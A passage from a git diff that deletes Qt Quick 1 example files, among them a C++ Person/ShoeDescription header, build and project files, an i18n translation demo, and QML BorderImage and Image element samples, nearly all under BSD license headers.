OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PERSON_H -#define PERSON_H - -#include -#include - -class ShoeDescription : public QObject -{ - Q_OBJECT - Q_PROPERTY(int size READ size WRITE setSize) - Q_PROPERTY(QColor color READ color WRITE setColor) - Q_PROPERTY(QString brand READ brand WRITE setBrand) - Q_PROPERTY(qreal price READ price WRITE setPrice) -public: - ShoeDescription(QObject *parent = 0); - - int size() const; - void setSize(int); - - QColor color() const; - void setColor(const QColor &); - - QString brand() const; - void setBrand(const QString &); - - qreal price() const; - void setPrice(qreal); -private: - int m_size; - QColor m_color; - QString m_brand; - qreal m_price; -}; - -class Person : public QObject -{ - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName) - Q_PROPERTY(ShoeDescription *shoe READ shoe) -public: - Person(QObject *parent = 0); - - QString name() const; - void setName(const QString &); - - ShoeDescription *shoe(); -private: - QString m_name; - ShoeDescription m_shoe; -}; - -class Boy : public Person -{ - Q_OBJECT -public: - Boy(QObject * parent = 0); -}; - -class Girl : public Person -{ - Q_OBJECT -public: - Girl(QObject * parent = 0); -}; - -#endif // PERSON_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/valuesource.pro b/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/valuesource.pro deleted file mode 100644 index 64034a1fe8..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/valuesource.pro +++ /dev/null @@ -1,19 +0,0 @@ -TEMPLATE = app -TARGET = valuesource -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative - -# Input -SOURCES += main.cpp \ - person.cpp \ - birthdayparty.cpp \ - happybirthdaysong.cpp -HEADERS += person.h \ - birthdayparty.h \ - happybirthdaysong.h -RESOURCES += valuesource.qrc -target.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/valuesource -sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS valuesource.pro -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/valuesource -INSTALLS += target sources diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/valuesource.qrc b/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/valuesource.qrc deleted file mode 100644 index e2fa01d5e7..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/valuesource.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - example.qml - - diff --git a/examples/declarative/qtquick1/examples.qmlproject b/examples/declarative/qtquick1/examples.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/examples.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/i18n/i18n.qml b/examples/declarative/qtquick1/i18n/i18n.qml deleted file mode 100644 index 4d224071fb..0000000000 --- a/examples/declarative/qtquick1/i18n/i18n.qml +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -// -// The QML runtime automatically loads a translation from the i18n subdirectory of the root -// QML file, based on the system language. -// -// The files are created/updated by running: -// -// lupdate i18n.qml -ts i18n/base.ts -// -// Translations for new languages are created by copying i18n/base.ts to i18n/qml_.ts -// The .ts files can then be edited with Linguist: -// -// linguist i18n/qml_fr.ts -// -// The run-time translation files are then generaeted by running: -// -// lrelease i18n/*.ts -// - -Rectangle { - width: 640; height: 480 - - Column { - anchors.fill: parent; spacing: 20 - - Text { - text: "If a translation is available for the system language (eg. French) then the"+ - " string below will translated (eg. 'Bonjour'). Otherwise it will show 'Hello'." - width: parent.width; wrapMode: Text.WordWrap - } - - Text { - text: qsTr("Hello") - font.pointSize: 25; anchors.horizontalCenter: parent.horizontalCenter - } - } -} diff --git a/examples/declarative/qtquick1/i18n/i18n.qmlproject b/examples/declarative/qtquick1/i18n/i18n.qmlproject deleted file mode 100644 index dcde628c59..0000000000 --- a/examples/declarative/qtquick1/i18n/i18n.qmlproject +++ /dev/null @@ -1,20 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "i18n.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } - Files { - filter: "*.ts" - directory: "i18n" - } -} diff --git a/examples/declarative/qtquick1/i18n/i18n/base.ts b/examples/declarative/qtquick1/i18n/i18n/base.ts deleted file mode 100644 index 82547a1f93..0000000000 --- a/examples/declarative/qtquick1/i18n/i18n/base.ts +++ /dev/null @@ -1,12 +0,0 @@ - - - - - i18n - - - Hello - - - - diff --git a/examples/declarative/qtquick1/i18n/i18n/qml_en_AU.ts b/examples/declarative/qtquick1/i18n/i18n/qml_en_AU.ts deleted file mode 100644 index e991affe7f..0000000000 --- a/examples/declarative/qtquick1/i18n/i18n/qml_en_AU.ts +++ /dev/null @@ -1,12 +0,0 @@ - - - - - i18n - - - Hello - G'day - - - diff --git a/examples/declarative/qtquick1/i18n/i18n/qml_fr.ts b/examples/declarative/qtquick1/i18n/i18n/qml_fr.ts deleted file mode 100644 index 365abd95c2..0000000000 --- a/examples/declarative/qtquick1/i18n/i18n/qml_fr.ts +++ /dev/null @@ -1,12 +0,0 @@ - - - - - i18n - - - Hello - Bonjour - - - diff --git a/examples/declarative/qtquick1/imageelements/borderimage/borderimage.qml b/examples/declarative/qtquick1/imageelements/borderimage/borderimage.qml deleted file mode 100644 index 04a1c34f6d..0000000000 --- a/examples/declarative/qtquick1/imageelements/borderimage/borderimage.qml +++ /dev/null @@ -1,97 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "content" - -Rectangle { - id: page - width: 1030; height: 540 - - Grid { - anchors.centerIn: parent; spacing: 20 - - MyBorderImage { - minWidth: 120; maxWidth: 240; minHeight: 120; maxHeight: 240 - source: "content/colors.png"; margin: 30 - } - - MyBorderImage { - minWidth: 120; maxWidth: 240; minHeight: 120; maxHeight: 240 - source: "content/colors.png"; margin: 30 - horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat - } - - MyBorderImage { - minWidth: 120; maxWidth: 240; minHeight: 120; maxHeight: 240 - source: "content/colors.png"; margin: 30 - horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat - } - - MyBorderImage { - minWidth: 120; maxWidth: 240; minHeight: 120; maxHeight: 240 - source: "content/colors.png"; margin: 30 - horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round - } - - MyBorderImage { - minWidth: 60; maxWidth: 200; minHeight: 40; maxHeight: 200 - source: "content/bw.png"; margin: 10 - } - - MyBorderImage { - minWidth: 60; maxWidth: 200; minHeight: 40; maxHeight: 200 - source: "content/bw.png"; margin: 10 - horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat - } - - MyBorderImage { - minWidth: 60; maxWidth: 200; minHeight: 40; maxHeight: 200 - source: "content/bw.png"; margin: 10 - horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat - } - - MyBorderImage { - minWidth: 60; maxWidth: 200; minHeight: 40; maxHeight: 200 - source: "content/bw.png"; margin: 10 - horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round - } - } -} diff --git a/examples/declarative/qtquick1/imageelements/borderimage/borderimage.qmlproject b/examples/declarative/qtquick1/imageelements/borderimage/borderimage.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/imageelements/borderimage/borderimage.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/imageelements/borderimage/content/MyBorderImage.qml b/examples/declarative/qtquick1/imageelements/borderimage/content/MyBorderImage.qml deleted file mode 100644 index c96a63bcba..0000000000 --- a/examples/declarative/qtquick1/imageelements/borderimage/content/MyBorderImage.qml +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - id: container - - property alias horizontalMode: image.horizontalTileMode - property alias verticalMode: image.verticalTileMode - property alias source: image.source - - property int minWidth - property int minHeight - property int maxWidth - property int maxHeight - property int margin - - width: 240; height: 240 - - BorderImage { - id: image; anchors.centerIn: parent - - SequentialAnimation on width { - loops: Animation.Infinite - NumberAnimation { - from: container.minWidth; to: container.maxWidth - duration: 2000; easing.type: Easing.InOutQuad - } - NumberAnimation { - from: container.maxWidth; to: container.minWidth - duration: 2000; easing.type: Easing.InOutQuad - } - } - - SequentialAnimation on height { - loops: Animation.Infinite - NumberAnimation { - from: container.minHeight; to: container.maxHeight - duration: 2000; easing.type: Easing.InOutQuad - } - NumberAnimation { - from: container.maxHeight; to: container.minHeight - duration: 2000; easing.type: Easing.InOutQuad - } - } - - border.top: container.margin - border.left: container.margin - border.bottom: container.margin - border.right: container.margin - } -} diff --git a/examples/declarative/qtquick1/imageelements/borderimage/content/ShadowRectangle.qml b/examples/declarative/qtquick1/imageelements/borderimage/content/ShadowRectangle.qml deleted file mode 100644 index 4e50de5fd7..0000000000 --- a/examples/declarative/qtquick1/imageelements/borderimage/content/ShadowRectangle.qml +++ /dev/null @@ -1,54 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - property alias color : rectangle.color - - BorderImage { - anchors.fill: rectangle - anchors { leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8 } - border { left: 10; top: 10; right: 10; bottom: 10 } - source: "shadow.png"; smooth: true - } - - Rectangle { id: rectangle; anchors.fill: parent } -} diff --git a/examples/declarative/qtquick1/imageelements/borderimage/content/bw.png b/examples/declarative/qtquick1/imageelements/borderimage/content/bw.png deleted file mode 100644 index 486eaae96e..0000000000 Binary files a/examples/declarative/qtquick1/imageelements/borderimage/content/bw.png and /dev/null differ diff --git a/examples/declarative/qtquick1/imageelements/borderimage/content/colors-round.sci b/examples/declarative/qtquick1/imageelements/borderimage/content/colors-round.sci deleted file mode 100644 index 506f6f5f99..0000000000 --- a/examples/declarative/qtquick1/imageelements/borderimage/content/colors-round.sci +++ /dev/null @@ -1,7 +0,0 @@ -border.left:30 -border.top:30 -border.right:30 -border.bottom:30 -horizontalTileRule:Round -verticalTileRule:Round -source:colors.png diff --git a/examples/declarative/qtquick1/imageelements/borderimage/content/colors-stretch.sci b/examples/declarative/qtquick1/imageelements/borderimage/content/colors-stretch.sci deleted file mode 100644 index e4989a723c..0000000000 --- a/examples/declarative/qtquick1/imageelements/borderimage/content/colors-stretch.sci +++ /dev/null @@ -1,5 +0,0 @@ -border.left:30 -border.top:30 -border.right:30 -border.bottom:30 -source:colors.png diff --git a/examples/declarative/qtquick1/imageelements/borderimage/content/colors.png b/examples/declarative/qtquick1/imageelements/borderimage/content/colors.png deleted file mode 100644 index dfb62f3d64..0000000000 Binary files a/examples/declarative/qtquick1/imageelements/borderimage/content/colors.png and /dev/null differ diff --git a/examples/declarative/qtquick1/imageelements/borderimage/content/shadow.png b/examples/declarative/qtquick1/imageelements/borderimage/content/shadow.png deleted file mode 100644 index 431af8545d..0000000000 Binary files a/examples/declarative/qtquick1/imageelements/borderimage/content/shadow.png and /dev/null differ diff --git a/examples/declarative/qtquick1/imageelements/borderimage/shadows.qml b/examples/declarative/qtquick1/imageelements/borderimage/shadows.qml deleted file mode 100644 index e7e707f632..0000000000 --- a/examples/declarative/qtquick1/imageelements/borderimage/shadows.qml +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "content" - -Rectangle { - id: window - - width: 480; height: 320 - color: "gray" - - ShadowRectangle { - anchors.centerIn: parent; width: 250; height: 250 - color: "lightsteelblue" - } - - ShadowRectangle { - anchors.centerIn: parent; width: 200; height: 200 - color: "steelblue" - } - - ShadowRectangle { - anchors.centerIn: parent; width: 150; height: 150 - color: "thistle" - } -} diff --git a/examples/declarative/qtquick1/imageelements/image/ImageCell.qml b/examples/declarative/qtquick1/imageelements/image/ImageCell.qml deleted file mode 100644 index 166bf4e478..0000000000 --- a/examples/declarative/qtquick1/imageelements/image/ImageCell.qml +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -Item { - property alias mode: image.fillMode - property alias caption: captionItem.text - - width: parent.cellWidth; height: parent.cellHeight - - Image { - id: image - width: parent.width; height: parent.height - captionItem.height - source: "qt-logo.png" - clip: true // only makes a difference if mode is PreserveAspectCrop - smooth: true - } - - Text { - id: captionItem - anchors.horizontalCenter: parent.horizontalCenter; anchors.bottom: parent.bottom - } -} diff --git a/examples/declarative/qtquick1/imageelements/image/image.qml b/examples/declarative/qtquick1/imageelements/image/image.qml deleted file mode 100644 index 7514fada3b..0000000000 --- a/examples/declarative/qtquick1/imageelements/image/image.qml +++ /dev/null @@ -1,66 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 490 - height: 285 - - Grid { - property int cellWidth: (width - (spacing * (columns - 1))) / columns - property int cellHeight: (height - (spacing * (rows - 1))) / rows - - anchors.fill: parent - anchors.margins: 30 - - columns: 3 - rows: 2 - spacing: 30 - - ImageCell { mode: Image.Stretch; caption: "Stretch" } - ImageCell { mode: Image.PreserveAspectFit; caption: "PreserveAspectFit" } - ImageCell { mode: Image.PreserveAspectCrop; caption: "PreserveAspectCrop" } - - ImageCell { mode: Image.Tile; caption: "Tile" } - ImageCell { mode: Image.TileHorizontally; caption: "TileHorizontally" } - ImageCell { mode: Image.TileVertically; caption: "TileVertically" } - } -} diff --git a/examples/declarative/qtquick1/imageelements/image/image.qmlproject b/examples/declarative/qtquick1/imageelements/image/image.qmlproject deleted file mode 100644 index c1e494060d..0000000000 --- a/examples/declarative/qtquick1/imageelements/image/image.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "image.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/imageelements/image/qt-logo.png b/examples/declarative/qtquick1/imageelements/image/qt-logo.png deleted file mode 100644 index 14ddf2a028..0000000000 Binary files a/examples/declarative/qtquick1/imageelements/image/qt-logo.png and /dev/null differ diff --git a/examples/declarative/qtquick1/imageelements/imageelements.qmlproject b/examples/declarative/qtquick1/imageelements/imageelements.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/imageelements/imageelements.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/keyinteraction/focus/Core/ContextMenu.qml b/examples/declarative/qtquick1/keyinteraction/focus/Core/ContextMenu.qml deleted file mode 100644 index 01485abb75..0000000000 --- a/examples/declarative/qtquick1/keyinteraction/focus/Core/ContextMenu.qml +++ /dev/null @@ -1,65 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF 